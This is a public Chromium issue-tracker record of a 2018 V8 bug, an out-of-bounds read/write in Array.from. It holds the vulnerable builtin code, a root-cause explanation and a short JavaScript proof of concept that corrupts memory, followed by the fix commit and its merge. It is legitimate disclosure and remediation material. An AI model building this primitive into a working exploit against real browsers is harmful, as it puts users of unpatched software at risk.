OOB read/write using Array.prototype.from |
|||||||||||||||||||||
Issue description
This is copied from the report in issue 820838:
OOB read/write using Array.prototype.from
VULNERABILITY DETAILS
v8/src/builtins/builtins-array-gen.cc:1945:
void GenerateSetLength(TNode<Context> context, TNode<Object> array,
TNode<Number> length) {
Label fast(this), runtime(this), done(this);
// Only set the length in this stub if
// 1) the array has fast elements,
// 2) the length is writable,
// 3) the new length is greater than or equal to the old length.
// 1) Check that the array has fast elements.
// TODO(delphick): Consider changing this since it does an an unnecessary
// check for SMIs.
// TODO(delphick): Also we could hoist this to after the array construction
// and copy the args into array in the same way as the Array constructor.
BranchIfFastJSArray(array, context, &fast, &runtime);
BIND(&fast);
{
TNode<JSArray> fast_array = CAST(array);
TNode<Smi> length_smi = CAST(length);
TNode<Smi> old_length = LoadFastJSArrayLength(fast_array);
CSA_ASSERT(this, TaggedIsPositiveSmi(old_length));
// 2) Ensure that the length is writable.
// TODO(delphick): This check may be redundant due to the
// BranchIfFastJSArray above.
EnsureArrayLengthWritable(LoadMap(fast_array), &runtime);
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
StoreObjectFieldNoWriteBarrier(fast_array, JSArray::kLengthOffset,
length_smi);
Goto(&done);
}
BIND(&runtime);
{
CallRuntime(Runtime::kSetProperty, context, static_cast<Node*>(array),
CodeStubAssembler::LengthStringConstant(), length,
SmiConstant(LanguageMode::kStrict));
Goto(&done);
}
BIND(&done);
}
};
// ES #sec-array.from
TF_BUILTIN(ArrayFrom, ArrayPopulatorAssembler) {
[...]
BIND(&loop);
{
// Loop while iterator is not done.
TNode<Object> next = CAST(iterator_assembler.IteratorStep(
context, iterator_record, &loop_done, fast_iterator_result_map));
TVARIABLE(Object, value,
CAST(iterator_assembler.IteratorValue(
context, next, fast_iterator_result_map)));
// If a map_function is supplied then call it (using this_arg as
// receiver), on the value returned from the iterator. Exceptions are
// caught so the iterator can be closed.
{
Label next(this);
GotoIf(IsUndefined(map_function), &next);
CSA_ASSERT(this, IsCallable(map_function));
Node* v = CallJS(CodeFactory::Call(isolate()), context, map_function,
this_arg, value.value(), index.value());
GotoIfException(v, &on_exception, &var_exception);
value = CAST(v);
Goto(&next);
BIND(&next);
}
// Store the result in the output object (catching any exceptions so the
// iterator can be closed).
Node* define_status =
CallRuntime(Runtime::kCreateDataProperty, context, array.value(),
index.value(), value.value());
GotoIfException(define_status, &on_exception, &var_exception);
index = NumberInc(index.value());
Goto(&loop);
}
BIND(&loop_done);
{
length = index;
Goto(&finished);
}
[...]
BIND(&finished);
// Finally set the length on the output and return it.
GenerateSetLength(context, array.value(), length.value());
args.PopAndReturn(array.value());
}
When the new length of a fast array is greater than the old length, GenerateSetLength() [1] should
also fall back to the runtime to resize the backing store. Otherwise, the array ends up in a state
where data past the end of the backing store can be accessed.
ArrayFrom() might pass an array whose length is less than expected to GenerateSetLength() if a
user-defined iterator shrinks the array right before returning the "end of iteration" marker.
REPRODUCTION CASE
<script>
let oobArray = [];
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : 1024 * 1024 * 8,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
</script>
,
Mar 13 2018
Jakob, I think you recently did some work on Array.prototype.from, right? Can you please take a look?
,
Mar 13 2018
,
Mar 13 2018
Dan, ptal. Is this related to your CL?
,
Mar 13 2018
,
Mar 13 2018
ClusterFuzz is analyzing your testcase. Developers can follow the progress at https://clusterfuzz.com/testcase?key=6092839717699584.
,
Mar 13 2018
,
Mar 13 2018
,
Mar 13 2018
,
Mar 14 2018
I think the fix is very simple:
// 3) If the created array already has a length greater than required,
// then use the runtime to set the property as that will insert holes
// into the excess elements and/or shrink the backing store.
GotoIf(SmiLessThan(length_smi, old_length), &runtime);
This should change to SmiNotEqual (along with an updated comment).
,
Mar 14 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d commit b5da57a06de8791693c248b7aafc734861a3785d Author: Dan Elphick <delphick@chromium.org> Date: Wed Mar 14 11:31:42 2018 [builtins] Fix OOB read/write using Array.from Always use the runtime to set the length on an array if it doesn't match the expected length after populating it using Array.from. Bug: chromium:821137 Change-Id: I5a730db58de61ba789040e6dfc815d6067fbae64 Reviewed-on: https://chromium-review.googlesource.com/962222 Reviewed-by: Jakob Gruber <jgruber@chromium.org> Commit-Queue: Dan Elphick <delphick@chromium.org> Cr-Commit-Position: refs/heads/master@{#51919} [modify] https://crrev.com/b5da57a06de8791693c248b7aafc734861a3785d/src/builtins/builtins-array-gen.cc [add] https://crrev.com/b5da57a06de8791693c248b7aafc734861a3785d/test/mjsunit/regress/regress-821137.js
,
Mar 14 2018
,
Mar 14 2018
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Mar 14 2018
confirmed with delphick@ that it's extremely safe, and with awhalley@ that this is indeed a beta blocker. Approving this for merge to M66. Branch:3359
,
Mar 14 2018
+ adamk@ - can you please merge this change to M66 V8 branch? Since this is blocking Beta, and we're cutting candidate soon, need to ensure it's merged today.
,
Mar 14 2018
+ jkummerow
,
Mar 14 2018
The following revision refers to this bug: https://chromium.googlesource.com/v8/v8.git/+/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0 commit 5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0 Author: Jakob Kummerow <jkummerow@chromium.org> Date: Wed Mar 14 19:25:00 2018 Merged: [builtins] Fix OOB read/write using Array.from Revision: b5da57a06de8791693c248b7aafc734861a3785d BUG= chromium:821137 TBR=delphick@chromium.org NOTRY=true NOPRESUBMIT=true NOTREECHECKS=true Change-Id: I6e84add607f519e64add9bd7ba5500f58004c899 Reviewed-on: https://chromium-review.googlesource.com/962673 Reviewed-by: Jakob Kummerow <jkummerow@chromium.org> Cr-Commit-Position: refs/branch-heads/6.6@{#23} Cr-Branched-From: d500271571b92cb18dcd7b15885b51e8f437d640-refs/heads/6.6.346@{#1} Cr-Branched-From: 265ef0b635f8761df7c89eb4e8ec9c1a6ebee184-refs/heads/master@{#51624} [modify] https://crrev.com/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0/src/builtins/builtins-array-gen.cc [add] https://crrev.com/5b6d1927f2c93391e4ba19f55f3a21ce8509f6d0/test/mjsunit/regress/regress-821137.js
,
Mar 14 2018
,
Mar 15 2018
,
Mar 15 2018
,
Jun 20 2018
,
Jun 21 2018
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Jun 26 2018
,
Jun 26 2018
|
|||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||
Comment 1 by mbarbe...@chromium.org
, Mar 12 2018Status: Assigned (was: Available)